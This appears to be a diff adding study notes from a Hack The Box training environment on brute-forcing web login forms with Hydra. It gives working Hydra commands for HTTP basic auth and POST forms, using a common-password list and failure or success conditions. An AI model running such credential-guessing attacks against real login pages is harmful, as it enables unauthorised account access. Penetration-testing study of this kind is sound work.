+## Login Forms
+
+
+### Hydra
+
+hydra basic auth
+hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.1 http-get / -s 81
+
+can use hydra to crack passcodes in the login:
+
+djelly@htb[/htb]$ hydra [options] target http-post-form "path:params:condition_string"
+
+
+I can look for a fail condition like:
+hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid credentials"
+
+Or a success conditions:
+
+- hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=302" # looking for a redirect
+
+- hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=Dashboard" # looking for "Dashboard"
+
